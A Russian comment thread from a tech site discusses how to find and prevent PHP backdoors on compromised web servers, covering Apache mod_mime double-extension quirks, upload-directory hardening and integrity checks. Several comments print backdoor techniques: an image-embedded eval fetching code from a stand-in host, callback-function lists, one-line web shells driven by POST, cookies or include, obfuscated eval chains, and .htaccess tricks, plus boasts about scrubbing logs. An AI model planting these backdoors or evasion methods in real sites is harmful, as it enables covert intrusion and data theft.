Pull to refresh

Comments 122

Все эти скрипты загружены злоумышленником в директорию загрузки пользователя.

Вот она, самая главная ошибка. Нужно запрещать выполнение скриптов в директориях загрузки.
Мы тоже запретили выполнять все скрипты, кроме нужных + установили mercurial репозиторий, который по крону четыре раза в день проверял, не изменились ли какие файлы и в случае измены писал нам имейлы.
Использование любой системы контроля версий типа Git или просто наличие бэкапа — полностью решает данные вопросы за счет git status или diff по крону :) Попробуйте хотя бы git init :)

Но решать надо иначе, конечно. Для начала убрать Apache :)
UFO just landed and posted this here
Я могу предположить только одно. Иногда в Apache определяют, какие файлы передавать на обработку mod_php, с помощью mod_mime. А он, в свою очередь, определяет по «расширению имени» файла. Одно но: если файл имеет несколько точек в имени, то mod_mime считает, что это «несколько расширений», в этом случае для исполнения файла mod_php достаточно, чтобы любое из них совпало. А mime-тип, с которым вернёт файл Apache, потом определится из последнего «расширения».

Пример: файл image.php.gif будет передан на обработку mod_php, а потом Apache результат пришлёт как image/gif.

Таким образом можно сделать файл, который и под типичный регэксп картинки \.(png|gif|jpg)$ подпадёт, и будет на самом деле картинкой (открываться без ошибок функциями типа imagecreatefromgif), но в комментарии этой картинки будет текст наподобие <?php eval(file_get_contents("http://evil.tk/")); ?> и эта картинка будет выполнена сервером как скрипт php (ну чёрт с ним, с мусором до и после php-кода). А методом из статьи такую картинку не найти — там ищут только по файлам "*.php", а у нас "*.gif".

Хоть Apache тут по сути и не виноват, виновата кривая конфигурация веб-сервера, которая не учитывает эту особенность mod_mime. Отключение исполнения php в директориях, куда помещаются загружаемые файлы, проблему решает. Тем не менее, все винят Apache :)

P.S. Советую любителям nginx запихнуть свой фанатизм поглубже. Нет, nginx — сервер хороший, фанатизм плохой. Стоит понимать, что Apache — высококачественный и очень распространённый софт, с которым знакомо огромное число администраторов и разработчиков, и отказаться от него в целом не проще, чем от винды, например, а то и вообще сложнее.
Одно но: если файл имеет несколько точек в имени, то mod_mime считает, что это «несколько расширений», в этом случае для исполнения файла mod_php достаточно, чтобы любое из них совпало. А mime-тип, с которым вернёт файл Apache, потом определится из последнего «расширения».

Немного не верно.

Если точек в имени файла несколько, т.е., проще говоря, несколько расширений, то проверяется последнее расширение, и, если данное расширение зарегестрированно в mime.types, то файл обрабатывается в соответствии с этим расширением. Если это расширение НЕ зарегестрированно, то проверяется предыдущее расширение, до тех пор пока не будет обнаруженно зарегестрированное.

Т.о. файл с именем file.blabla.php.blabla.blabla будет интерпретирован как php скрипт. Так, например, в большинстве веб приложений разрешено загружать файлы с расширением *.rar, но по дефолту апач это расширение не знает. Это делает это приложение уязвимым перед заливкой файла script.php.rar, т.к. такой файл при прямом обращении к нему будет интерпретирован как PHP скрипт, подробнее об этом:
httpd.apache.org/docs/2.2/mod/mod_mime.html#multipleext
intsystem.org/892/how-do-you-upload-files-at-the-server/#doubleext

Насчет статьи. Позволю себе описать взгляд с другой стороны баррикад. Все описанное выше — прошлый век. Рядовой взломщик об этом знает. Так, например, менять дату последнего изменения файла — уже то что злоумышленник делает в первую очередь. Даже скажу больше, большинство существующих вебшеллов умеют не менять дату последнего изменения при редактировании файлов. Описанные в статье способы поиска левых скриптов — опять же, извините, бред. Практически никто на сегодня не использует в бекдорах функцию eval, в php хватает других функций умеющих выполнять php код.

Единственный 100%-ый вариант обнаружить что сайт взломан — это либо полный diff, либо ручная проверка всех файлов на сервере. А единственный способ гарантированно востановится после взлома — это исправление уязвимости и востановление из бекапа. Все остальное оставляет шансы злоумышленнику.
> Практически никто на сегодня не использует в бекдорах функцию eval

Вы таки не поверите. По работе постоянно сталкиваюсь именно с таким. 90-95% обнаруженных случаев. Хотя признаю, выборка вероятно не репрезентативна ввиду специфичности софта с которым работаю. Очень редко обнаруживается что-то действительно необычное (но тут уже, видимо, работа не банальных скрипт-киддис, а кого-то серьезнее, и, возможно даже, на заказ).
В статье описывается методика поиска, и если ты не разработчик (у тебя нет бэкапа и доступа к git репозиторию), а сторонний человек, которого попросили проверить/исправить сайт, она довольно действенна.

InSys, что говорить о времени изменения файла, когда на «какерских» форумах обсуждают ".BAT вирусы" и «как отправить POST запрос (Delphi 7)». Говорите eval устарел, значит нужно поделиться знаниями:

Список функций, которые вызывают callback
array_filter
array_map
array_walk
array_diff_uassoc
array_udiff_assoc
array_udiff_uassoc
array_intersect_uassoc
array_diff_ukey
array_intersect_ukey
array_reduce
array_udiff
uasort
usort
array_uintersect_assoc
array_uintersect_uassoc
array_uintersect
array_walk_recursive

Список функций, которые выполняют PHP код
create_function
eval
assert
{$name}()
preg_replace(//e)

Переменные, которые можно установить через ini_set
unserialize_callback_func
assert_callback
output_handler

Немного системных функций
session_set_save_handler
set_exception_handler
set_error_handler
restore_error_handler
register_shutdown_function
restore_exception_handler()
ob_start
trigger_error
Видите ли… Я не осуждаю статью в целом. Я осуждаю предложенные методы.

Я будучи взломщиком, вписал бы в скрипты конструкцию типа:
include($_REQUEST['foo']);
Согласитесь, никому бы в голову не пришло искать подобную конструкцию регулярками. В обычных проектах сотни вызовов функции include. А я в свою очередь смогу элементарно востановить доступ к сайту. А таких вариантов как этот тысячи.

К чему я это пишу. К тому что даже в случае
сторонний человек, которого попросили проверить/исправить сайт
бесполезно действовать по инструкции, а надо начать мыслить как взломщик (как бы пафосно это не звучало).

А тех кто обсуждают на «какерских» форумах бат вирусы и прочее, можно отнести к категории скрипт киддисов. И угрозы как таковой они не представляют. Статья расчитана как раз на обнаружение следов взлома людей из данной категории и не более. Так что, извините, действенной эту методику назвать нельзя.
Извольте, сударь, скрипт киддисты представляют не малую угрозу.

На одном корпоративном хостинге, увели пароль от FTP, в итоге злоумышленники поигравшись с веб шеллаами различных мастей, решили запустить кривой скрипт вставки iframe по всему хостингу (который загружали в upload директории). В итоге этот автоматизированный скрипт «какеров» покоцал очень много файлов, в результате чего большинство сайтов на хостинге отвалилось.

Не стоит надеяться, что лично Вас будут ломать профессионалы с «мышлением», стоит изначально применить проверенные методы, описанные в статье.
Последствия работы скрипткидисов все же устраняются намного проще. И именно поэтому они по-моему мнению не представляют значительной угрозы. В вашем случае к примеру достаточно было востановить бекап (бекапы то надеюсь все делают). Максимум что может такой «кулхацкер» — это сломать работоспособность сайта но не более. Да, это неприятно, но это очень просто лечится.

А я неоднократно встречал работы людей, которые были как раз как как вы говорите с «мышлением». К примеру, интернет магазин, с которого каким то мифом начали утекать данные кредитных карт. При разборе выяснилось, что прошел целый год между моментом взлома и началом какой-либо активности на сервере, а целый год выжидался скорее всего ради того чтобы бекдоры попали в бекапы, и их сложнее было обнаружить.

Вы говорите проверка даты изменения? Мало того что прошел год после встраивания бекдоров, так еще и файлы тачились под остальные. Поиск по регуляркам? Да фиг там. Бекдоры маскировались под общий код. Я вобщем-то до сих пор не уверен что было найденно все.

И подобных случаев на моей практике — довольно много. Так что, не то чтобы я надеюсь, что лично меня будут ломать профессионалы, я просто знаю каково это. Зря вы так скептически относитесь к моему мнению, поверьте, я знаю о чем говорю.

Статья же преподносит предложенные в ней методы как панацею, хотя эти методы являются лишь первоначальными. А пока вы, согласно статье, будете защищаться только от киддисов, вас будут продолжать взламывать.
Рассудите, знающие люди, кто прав, пожалуйста. Будет отдаваться php обработчику файл file.php.gif или нет?
По дефолту — нет.
Если для ассоциирования использвали mod_mime — будет. (Так, например, его обычно подключали во времена php4, как сейчас дело обстоит — проверять надо).

Если ассоциировали по маске — нет.
Вы пишете ерунду и даже не потрудились проверить по документации:

Files can have more than one extension, and the order of the extensions is normally irrelevant. For example, if the file welcome.html.fr maps onto content type text/html and language French then the file welcome.fr.html will map onto exactly the same information. If more than one extension is given that maps onto the same type of meta-information, then the one to the right will be used, except for languages and content encodings. For example, if .gif maps to the MIME-type image/gif and .html maps to the MIME-type text/html, then the file welcome.gif.html will be associated with the MIME-type text/html.

Languages and content encodings are treated accumulative, because one can assign more than one language or encoding to a particular resource. For example, the file welcome.html.en.de will be delivered with Content-Language: en, de and Content-Type: text/html.


Файлы могут иметь более одного расширения, и порядок расширений обычно не играет роли.… Если имеется более одного расширения, которые предоставляют один и тот же тип метаинформации, то испольщуется значение от самого правого, кроме случая языков и типов кодирования содержимого (речь идёт о .html.gz — будет использован тип связанный с .html, а не ,gz, который попадёт в content-encoding). Т.е. .html.gif станет image/gif.

А теперь вот то, о чём я пишу:

Care should be taken when a file with multiple extensions gets associated with both a MIME-type and a handler. This will usually result in the request being handled by the module associated with the handler. For example, if the .imap extension is mapped to the handler imap-file (from mod_imagemap) and the .html extension is mapped to the MIME-type text/html, then the file world.imap.html will be associated with both the imap-file handler and text/html MIME-type. When it is processed, the imap-file handler will be used, and so it will be treated as a mod_imagemap imagemap file.


Внимание следует обращать на случаи, когда файлы с несколькими расширениями ассоциируются одновременно с Content-Type и с обработчиком. Если .imap связано с обработчиком imap-file (из модуля mod_imagemap), а .html связано с MIME-типом text/html, то файл world.imap.html будет ассоциирован и с этим обработчиком, и с этим типом. Когда он будет запрошен, он будет обработан imap-file.

Это как раз тот же самый случай, что и .php.gif.

Так что да, решение существует, не ассоциировать php через mod_mime (а только через «последнее расширение» по маске \.php$).
Вобщем то, я пишу далеко не ерунду. И вас бы просил так категорично об этом не заявлять.

Проверьте то что я написал выше самостоятельно. Это вобщем то не укладывается в рамки данной документации, ее я привел просто для ознакомления. Естественно при подключении php не через «последнее расширение».

А теперь если вам не сложно, приведите пример конфигурации, когда все же файл .php.gif будет интерпретирован как скрипт.
http://dev.merlin-vrn.tk/image.php.jpg работает, как видите (Посмотрите на заголовки, скрипт там добавил X-Generator: PHP и X-Powered-By: PHP...). Файл image.php.jpg выглядит так:
<?php header("X-Generator: PHP"); readfile("holes.jpg"); ?>

Рядом лежит holes.jpg, который вы и наблюдаете через скрипт.

Gentoo, конфигурация по умолчанию, в /etc/conf.d/apache2 стоит APACHE2_OPTS="… -DPHP5...". Всю логику IfModule копировать не буду (ставьте систему и сами смотрите), сработавшие в данном случае директивы такие:

LoadModule php5_module modules/libphp5.so
AddHandler application/x-httpd-php .php .php5 .phtml

Этого достаточно, чтобы скрипт запустился интерпретатором.
Да, вот только во всех конфигах обычно пишут не
AddHandler application/x-httpd-php .php .php5 .phtml
А
AddType application/x-httpd-php .php .php5 .phtml
Что решает эту «проблему».
«Обычно пишут»? Я вам привёл пример, где «обычно написано» вот так. И так было принято писать во времена php4, не исключено, что на этой тестовой машине у меня с тех времён оно раз за разом кочевало через ручной etc-update и так и осталось теперь. Хотя я не удивлюсь, если оно и в новых инсталляциях устроено так же.

Да, проблема решается другим способом подключения php, я с самого начала это и написал. С самого начала я написал, что «бывают такие конфигурации», не имел ввиду, что они всегда все такие. А вы полезли меня «исправлять».
То что я полез «исправлять», может быть я и не прав. Признаю, вы описали другой случай. Меня раздражает тот факт что вы считаете себя абсолютно и непоколебимо правым во всем остальном.
Ну хорошо. По другим пунктам, перечислю их ниже, вы тоже ошибаетесь:

— eval злоумышленники используют направо и налево, примерно раз в месяц в разных местах приходится вычищать подобную заразу, ни разу без eval не обошлось

— запретить php в директории можно не только htaccessом. Вообще-то сами разработчики Apache в документации (вы её не читали) рекомендуют отключать htaccess (через AllowOverride None) и всё прописывать в конфиге сервера — так всё работает быстрее, ведь не нужно каждый раз сканировать всё дерево ФС на предмет .htaccess и не нужно каждый раз этот файл парсить. Собственно, когда речь идёт о нагруженном сервере и оптимизации — это вообще первое дело. Загрузка htaccess в этом случае ничего не изменит.

— запретить php в директории можно не только htaccessом. Вообще-то сами разработчики Apache в документации (вы её не читали) рекомендуют отключать htaccess (через AllowOverride None) и всё прописывать в конфиге сервера — так всё работает быстрее, ведь не нужно каждый раз сканировать всё дерево ФС на предмет .htaccess и не нужно каждый раз этот файл парсить. Собственно, когда речь идёт о нагруженном сервере и оптимизации — это вообще первое дело. Загрузка htaccess в этом случае ничего не изменит.

Да ну что вы говорите. И кто нибудь готов отказаться от .htaccess в пользу безопасности? И вобще я так понимаю, вы вынуждаете меня сейчас оправдываться, мол я знаю? Ну вобщем да, я знаю это и без вас, но к примеру у меня есть лучшее решение чем запретить .htaccess вообще. Разрешить только корневой .htaccess:
#Разрешаем корневой htaccess
 <Directory /home/public_html/>
 AllowOverride All
 </Directory> 

#Запрещаем htacess-ы лежащие в каталогах глубже
 <Directory /home/public_html/*>
 AllowOverride None
 </Directory>


— eval злоумышленники используют направо и налево, примерно раз в месяц в разных местах приходится вычищать подобную заразу, ни разу без eval не обошлось

Возможно это из за того что мы сталкивались с разными категориями людей? Или может потому что остальные варианты вы не искали? Ведь я не сказал что eval никто не использует, я сказал что в php есть масса других функций, нет?

И объясните мне, какого черта, в каждом вашем предложении вы стремитесь меня оскорбить? Я читал документацию, и возможно даже внимательнее чем вы. И знаю возможно больше чем вы, но почему то я не стремлюсь выставлять это на показ, в отличие от Вас.
И кто нибудь готов отказаться от .htaccess в пользу безопасности?

Я :) Все конфиги веб-сервера в одном месте, которое специально отведено для конфигов — /etc/apache2/.
но к примеру у меня есть лучшее решение чем запретить .htaccess вообще. Разрешить только корневой .htaccess:

Чем оно лучше в плане безопасности? А в плане удобства? Если сайт ведет себя непредсказуемо, то удобнее в двух местах смотреть, чем в одном?
… + решение вообще ничем не лучше: дерево файловой системы по-прежнему сканируется каждый запрос в надежде, что htaccess найдётся, и если он найдётся, он каждый запрос заново парсится
Мне удобнее к примеру задавать в htaccess настройки специфичные для разных сайтов.
Да чего тут говорить, да, htaccess хорош для совместимости, для «удобства». Но, как и любое другое место, куда можно поместить опасные конфигурационные параметры, он плохо сказывается на безопасности.

Мы в этом топике говорим, кажется, про безопасность.
Для этого есть /etc/apache/sites-available/. Имхо, .htacces удобен и, пожалуй, необходим лишь в случае шаред хостинга или в других случаях, когда нормально конфиг не записать.
По поводу «не ерунду»: вы написали нечто, что противоречит документации, а работа модуля вполне соответствует документации. Что это, как ни ерунда? ;)

В рамки документации вполне укладывается, работает точно так, как там написано. Вы её действительно не читали, как я погляжу, хотя я вас уже даже носом ткнул туда.

Я это проверял не только с PHP, но и с mod_tcl и mod_python в своё время.

Короче, не разбираетесь в апаче — честно признайте это и не лезьте с ошибочными комментариями, не вводите людей в заблуждение.
Создайте файл file.php.blabla, и впишите в него php код — удивитесь.
Это же самое работает и при
AddType application/x-httpd-php .php .php5 .phtml
и не знаю, как вас, но многих именно это удивляет.
Отключение исполнения php в директориях, куда помещаются загружаемые файлы, проблему решает.

Это вобщем то тоже не совсем так. Остается возможность залить злоумышленнику свой .htaccess в папку «куда помещаются загружаемые файлы» со своими директивами, которые в свою очередь обратно разрешат выполнение php.
> Остается возможность залить злоумышленнику свой .htaccess

Это очень просто решается на уровне конечного приложения минимальной валидацией заливаемых файлов. Как минимум — по имени файла.
Только об этом все почему то обычно забывают…
Чёрный список не самое лучшее решение, имхо — что-то можно не предусмотреть, забыть, понадеяться на дефолт и т. п. Лучше вообще не давать заливать файлы с пользовательскими именами, а если нужно их сохранять, то хранить в БД или ещё где, а на диск записывать имена как какие-то суррогатные (или не очень — хэши и т. п.) идентификаторы.

Хотя, если используется libmagic или аналоги для определения запускаемых файлов, то всё это как мёртвому припарка. Тут только четкое разделение каталогов, куда можно писать и откуда можно запускать.
libmagic надо отключать на уровне вырезания поддержки из исходников пакета имхо
Достаточно отказаться от использования AddHandler в пользу комбинации <FilesMatch> + SetHandler. Как минимум в Debian Wheezy это уже является частью дефолтной конфигурации mod_php (пакет libapache2-mod-php5).

<FilesMatch ".+\.php$">
	SetHandler application/x-httpd-php
</FilesMatch>
<FilesMatch ".+\.phps$">
	SetHandler application/x-httpd-php-source
	# Deny access to raw php sources by default
	# To re-enable it's recommended to enable access to the files
	# only in specific virtual host or directory
	Order Deny,Allow
	Deny from all
</FilesMatch>
# Deny access to files without filename (e.g. '.php')
<FilesMatch "^\.php$">
	Order Deny,Allow
	Deny from all
</FilesMatch>
Ну я о чём и говорю, собственно: не использовать mod_mime. Подключать по маске.

Хотя было прикольно: скрипт, генерирующий картинку, назвать image.php.gif или image.gif.php и не задумываться о header() :)
Огромное спасибо за информацию. Нашли дырку благодаря вам.
А апач-то тут при чём?
выше частично ответили. но более важно, что уязвимости часто рассчитывают на тот же .htaccess.
diff чего? папки uploads?
Зачем такое извращение. А не проще ли от себя создавать все файлы?
слава богу, есть .gitignore )) та что не панацея.
появление или изменение .gitignore уже меняет git status.
В .gitignore записать .gitignore :)
Если у атакующего есть доступ к серверу, и он подготовлен, то можно и заменить тот же бинарник git'а на свой, изменённый. Благо open source и можно подправить только то, что нужно :)
в gitgnore есть директории, что не нужно гитить, и файлы, часто конфиги. шах и мат.
BulletProof Security кто-то пробовал? Есть от него толк?
Я в своё время проверял очень просто: Делал git init в каталоге с сайтом, добавлял в .gitignore все, что не связано с кодом сайта и каждый час по крону выполнялись команды git add. и git status. Выхлоп последней команды приходил на электронную почту. В зависимости от результата принималось решение о чистке сайта и латании дыр.
Простите за офф. топ. В примере атакующего скрипта заложен моб.телефон «хакера»?

if (count($_POST) < 2) {
die(PHP_OS. chr(49). chr(48). chr(43). md5(0987654321));
}
Обратная последовательность от 1 до 10 (при mod 10).
Действительно, просто в заблуждение ввело то, что очень напоминает номер украинского мод.оператора.
Актуальная статья для многих.
Я для себя эту проблему решил совершенно другим путём.
1. запрет записи в корень вэб сервера для самого вэб сервера (файлы создаются от другого пользователя)
2. Никаких левых скриптов без построчного аудита безопасности. (phpMyAdmin только через http-авторизацию на каталог)
3. firewall (нельзя инициировать TCP-линк на что угодно кроме явно указаных айпи/портов)
4. selinux rulez
5. никаких урлвраперов для include/require
6. disable_functions = eval, create_function…
Ну и вообще я использую nginx + php_fpm (который наодятся на разных машинах)
С его помощью возможно выполнить вредоносный код. Exec, system… закрыты другим способом
А выполнить вредоносный код без евала нельзя?
Запрещены видимо все функции, с помощью которых можно выполнить php-код, не хранящийся в файлах.
Подобное тоже закрыто?
include 'data://text/plain;base64,PD9waHANCiRzdHIxID0gJ015IE5hbWUgSXMgOiAnOw0KJHN0cjIgPSAnRHZpZCEnOw0KZWNobyAkc3RyMS4kc3RyMjsNCj8';
allow_url_fopen это не блокирует разве?
да, блокирует:
Warning: include() [function.include]: data:// wrapper is disabled in the server configuration by allow_url_include=0 in /<тут был путь>/test-include-data-uri.php on line 3

Warning: include(data:text/plain;base64,ZWNobyAnSGVsbG8hJzs=) [function.include]: failed to open stream: no suitable wrapper could be found in /<тут был путь>/test-include-data-uri.php on line 3

Warning: include() [function.include]: Failed opening 'data:text/plain;base64,ZWNobyAnSGVsbG8hJzs=' for inclusion (include_path='.:/usr/share/php5:/usr/share/php') in /<тут был путь>/test-include-data-uri.php on line 3
6. disable_functions = eval, create_function
Один момент: eval — конструкция языка, а не функция, заблокировать её с помощью disable_functions не получится, нужно использовать suhosin.
Так Suhosin уже, похоже, помер… Последняя поддерживаемая версия — 5.3.9 :(
Ваша правда.
В любом случае, если дело дошло до выполнения php-кода злоумышленником, эффективность запрета отдельных функций вызывает у меня сомнения.
Это точно. Это защита, скорее, хостера от клиентов :)
Давайте начнем с простого, скажем, вы не делали никаких изменений в php коде некоторое время, следующая команда ищет все php файлы в текущем дереве каталогов, которые изменились за последнюю неделю. Можете изменить опцию mtime по желанию, например mtime -14 в течении двух недель.

find . -type f -name '*.php' -mtime -7

AddHandler php-script .php .php5 .php4 .php3 .html .htm .phtm


Скрипт работает рекурсивно.

#!/bin/bash

search_dir=$(pwd)
writable_dirs=$(find $search_dir -type d -perm 0777)

for dir in $writable_dirs
do
    #echo $dir
    find $dir -type f -name '*.php'
done


Рекурсивно? Да ладно?
Вопрос на засыпку: «Каково поведение этого скрипта, если $writable_dirs содержит путь с пробелом»?

Чтобы пойти дальше я бы воспользовался этой объединенной командой, которая является более общей
find . -type f -name '*.php' | xargs grep -l "eval *(str_rot13 *(base64_decode *(" --color

А если злоумышленник использует лишь «eval(base64_decode(»? А если он сделал алиас для этих функций?
Это всего лишь примеры, неужели вы думаете, что можно описать все возможные варианты?
Это как писать книгу о языке программирования и прикладывать к ней архив всех open source проектов доступных в сети.
Кто знает, существует ли некий серверный софт для проверки описанных выше ситуаций с возможностью удобно его конфигурировать, добавлять исключения и т.д.?
Мне кажется проблема достаточно актуальная, чтобы такой софт существовал.
Увы, ситуация крайне плачевная:
1. Коммерческие закрытые решения, функционал которых Вас рано или поздно перестанет удовлетворять
2. Широко разбросанные по инету самодельные костыли, компиляцией которых Вам и придётся занаться.
Коммерческое решение мне вполне подойдет, есть ссылки на конкретные инструменты?
Делов то.
1. Создаёте файл, на баше, который искомые команды выполняет. Результат вывода — отправляет на почту.
2. Помещаете его в cron,

У нас больше недели такая конфигурация работает — один раз заразу уже отловили.
Необходимо часто проверять журналы доступа на сервере

Кто-нибудь в зале вручную проверяет журналы на серверах? Странно, что безопасность сервера может зависеть от ручной проверки человеком.
А от ручной настройки? :)
В статье, посвящённой PHP рекомендуете обслуживать сервер скриптами на bash…
Недостатки:
1. Отладка в баше? Неа, не слышал (реального применения)
2. bash на новом сервере может быть чуток не такой как на старом (в мире СВОБОДНОГО ПО всё случается) — а скрипт на php — достаточно кросплатформенен.
ну хорошо, судя по этому и другому вашему комментарию, нужно использовать logwatch — скрипт не на баше, а аж на перле, чтоб обслуживать сервер php ;)
Нет, я и не говорю что надо использовать что-то не баше, перле или ещё чём-то — раз уж сайт на php — то и скрипты обслуживания могут находиться в дереве проекта (при переезде и развёртывании не забудутся)
Критика тут в том что баш менее понятен, труднее в сопровождении и отладке.
Ну последнее утверждение спорно. А что касается скриптов обслуживания — ну и их тоже могут подправить, чего там.

Системы обеспечения безопасности сервера не должны идти с каждым сайтом. Они должны в первую очереь сами быть безопасными, в том числе — не допускать проблем типа «подправил программу от имени непривилегированного пользователя».
Скрипты обслуживания должны быть на том, на чем лучше скрипты обслуживания писать, как правило без оглядки на основной язык проекта. Тем более, что типичный проект на php это и так смесь минимум пяти языков, а то и за десяток переваливает без особых извращений типа брэйнфака. А переезд или развертывание это другие задачи и решаются другими средствами (мне вот на ruby нравится php-проекты разворачивать :).
Пользуюсь jAntivirus для выявления новых внешних ссылок на главной странице сайта.
В моей грусной практике взломы моих сайтов были предназначены для того чтобы поставить кучу невидимых ссылок на таблетки, из-за чего 2 из 10 сайта ушли в АГС. Потом уже написал jAntivirus и с тех времен пользуюсь.
Статья актуальна лет 5-10 назад, сейчас всё по другому.

Никто уже не заливает отдельные файлы с попыткой их спрятать среди прочих index.php. Пример в статье с загруженными файлами — либо начинающий, либо ленивый. Если ресурс интересен, ты никогда не будешь активно работать из таких файлов. Проще поменять существующий. Скажем, common.php или config.php, дописать там безобидную
array_map($_POST['map'], $_POST['config']);

и у нас шелл, без палева и никто не найдёт. Если проект юзает svn/git, чаще всего конфиги в ignore. Время редактирования исправляем с помощью touch, и вуаля.

В итоге на выходе мы получим шелл в файле, который инклудится почти везде, т.е. наши POST запросы побегут на основной index.php, не вызывая подозрения. Да и то, POST уже морально устаревает, шеллы давно общаются через заголовки, т.е. POST и GET пустые, зато висит доп заголовок )
Наш файл не спалить на eval/system/exec и подобное, а так же мы легко исправили время последнего модифицирования. Как найти такое?

Далее. Получив веб шелл, чаще всего мы имеем 2 истории. История 1, php выполняется от реального пользователя. Часто, это всякие там dev итп. Минус — не имеем доступа к логам. Плюс — имеем доступ к .ssh домашней дире. А там уже и веб шелл не нужен, как вы понимаете. История 2, php выполняется из под апача или на правах www. Тогда мы просто чистим лог файлы от своих IP после всех действий.

Соблюдая осторожность, грамотно спрятанный шелл может пропустить даже опытный безопасник. Не говоря уже о том, что ломать сайты через бэкэнд это вчерашний день, сегодня в моде svc и nosql.
Откуда вы такие берётесь умные, а? «Никто не заливает», «вчерашний день»…

Заливают. Ломают через бэкэнд. Постоянно ломятся. Говорю же, раз в месяц то тут, то там попросят вычистить зловреда, а там внутри eval(base64_decode()), самое умное, что видел — это трюки наподобие $x='ev'."al"; $y=array('x','z'); $z='base'."64_".'decode'; $n=$GLOBALS['y'][0]; $m=$GLOBALS['y'][1]; $GLOBALS['n']($GLOBALS['m']("fasdfasdf".'asdfasdfasd'."fasdfsadf'...)); , выдвинутые пробелами на 300-ю позицию.
Я и говорю, если встречаете подобное, значит поймали новичка или лентяя. Если вы поймали только ночичка, но даже новичёк нашёл дырку — проверьтесь на руткиты, сверьте бинарники mysql, apache и прочих рутовых штук на суммы итп. Вполне вероятно, что вы уже порутаны. Скажем, один из моих любимых руткитов базируется на mysql, но даже исходники не меняет. Определённая последовательность символов к мускулу в любом запросе и у меня рут ))
То что вы описали — новички действую по статьям. А с профи вы, видимо, пока не встречались.
Эскалация привилегий процесса mysqld? Это уже уязвимость ядра.
и, кстати, да, нет времени трепаться впустую.
предоставьте узявимый lfi на стандартной системе, как минимум у меня будет шелл, который вы не найдёте описанными вами способами. В противном случае у меня будет рут. Без пафоса вроде «откуда вы такие берётесь».
Иначе вы чудак на известную букву. Ласосни тунца.
Специально для тунцов поясняю простое логическое соображение: тот факт, что я натыкаюсь только на начинающих, вовсе не не означает, что проблемы, описанные в статье, были актуальны 5-10 лет назад и что это вчерашний день. С точностью до наоборот: этот факт означает, что так делает невообразимо большое число народу (раз даже мне досталось), и не 5-10 лет назад, а прямо сейчас наверняка кто-то где-нибудь на очередном несчастном сервере рядом с index.php прячет отдельные файлы.

Это очень просто: раз люди это видят сейчас, значит это и актуально сейчас, а не 5-10 лет назад и не вчера.
хватит заикаться и признай, ты нашёл лишь начинающих. Если начинающие тебя нашли, значит переустанавливай систему, ибо ты уже порутан.
Своим друзьям, что ставят мне минусы, можешь дать зелёны свет и максимальный урон, т.к. у меня 500 кормы (кстати, за статью про безопасность, которая до сих пор на 1-м месте на хабре), всё равно для меня твои напряги как материальная точка.

Ты можешь себя утешать тем, что твои способы защиты актуальны до сих пор. Но они актуальны для киддесов 5-ти летней давности. Современных хакеров ты даже не заметишь. Последнего рута я получил ни разу не обратившись к файловой системе.
Какая разница нашел он начинающих или профессионалов, если есть проблемы, которые надо решать.
гарик ) пусть ты и модер на ачате, но прислушайся к грину )
php выполняется из под апача или на правах www. Тогда мы просто чистим лог файлы от своих IP после всех действий.

А получится?
Конечно нет. Апач открывает лог-файлы, когда он ещё рут, и только потом сбрасывает привилегии. По крайней мере, с mpm-itk (других апачей под рукой нет, лезть проверять лень).
Я немного другое имел в виду. Даже если приложение (сайт) ведет собственный лог (через fopen/fwrite), то у меня оно писать туда может, а вот читать — нет. chown/chmode сделать тоже не может :)
что за права, когда ты можешь писать, но не можешь читать? Я в том смысле, что это не встречается
А зря. Права должны быть минимально необходимыми. Код и конфиги только на чтение, логи только на запись.
Вот еще совет.
Очень простой. Советую всем сомневающимся выполнить прямо сейчас.
1. sudo apt-get install clamav
2. freshclam
3. clamscan -ir /var/папка/с/сайтами
Кроме того, сейчас пошла мода создавать файл index_backup.php, имя которого вроде не вызывает сомнений у многих, а find mtime его не найдёт.
Простите, «имя которого вроде не вызывает сомнений у многих»?! В корне сайта появился левый файл и сомнений не вызовет?!
Например я держу все проекты на сервере в ioncube, как защита от анализа скриптов, даже если кто-то к ним получит доступ. Маловероятно что у взломщика окажется декодер последней версии ioncube (и т.д.). Так можно по маске через egrep проверять, чтобы не криптованных php-файлов не оказывалось на сервере. Такие вещи как phpmyadmin вообще не использую, ведь под все ОС для этого существуют менеджеры баз данных, которые могут работать через SSH.

В родительском каталоге каталога (масло маслянное) куда загружаются файлы (именование только моим скриптом после всяческого анализа загруженного файла (например попытка получить exif-data (размерность) для изображений, хотя не панацея) есть .htaccess с кодом

ALLOW FROM ALL

AddType "text/html" .php .cgi .pl .fcgi .fpl .phtml .shtml .php2 .php3 .php4 .php5 .asp .jsp

# Disable PHP.
RemoveType php

# Denied file execute
RemoveHandler .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml
AddType application/x-httpd-php-source .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml


Могу ошибаться, но в Apache по дефолту глубина просмотра .htaccess составляет два уровня. То есть если в моем случае взломщик поместит файл .htaccess в каталог загрузки, то он уже не сработает (мысль прямо сейчас не могу проверить).

Также в коде программы можно предусмотреть ключ, который будет использоваться при создании хеша для имени загруженного файла, и соответственно периодически проверять загруженные файлы на совпадение названия, и контрольной суммы файла полученной из его содержимого, на случай если в каталог загрузки были залиты файлы не через мой программный интерфейс.
Про просмотр только двух файлов .htaccess моя ошибка. В документации

Further note that httpd must look for .htaccess files in all higher-level directories, in order to have a full complement of directives that it must apply. (See section on how directives are applied.) Thus, if a file is requested out of a directory /www/htdocs/example, httpd must look for the following files:

То есть apache будет смотреть все вышестоящие директории на предмет других .htaccess чтобы составить полную картину того, что нужно делать. Поэтому логично чтобы в самом каталоге с загружаемыми файлами вообще не было .htaccess (был в родительском каталоге без возможности записи), и проверять список файлов на это.
простые пример частичного или полного обхода:

такую версию исполнения кода (echo с бэктиками, аналог exec-а) вашими фаиндами особо не найдешь, обращаться можно гетом, просто с нужными кукисами, выполняя команды на сервере:
<?php
echo `$_COOKIES["ololo"]`; // или $_REQUEST
?>


причем:
1. код можно засунуть в ololo.gif, который потом инклудить из другого файла
<?php
include("/path/ololo.gif");
?>

2. код можно засунуть в гифку, а потом добавить .htaccess типа:
<Files "pict.gif">
  AddType application/x-httpd-php .gif
</Files>

или просто добавить в общее правило нужный тьип файла
AddType application/x-httpd-php .php .gif

3. причем если кто-то попытается посмотреть гифку, в конце можно дописать:
header("Content-type: image/gif"); 
$image = imagecreatefromgif('ololo.gif'); 
imagegif($image); 
imagedestroy($image); 

4. не надо забывать про .phtml и, в принципе, вообще стоит забыть что шеллы-бэкдоры могут быть только в php
5. .shtml (mod_ssi hello!)
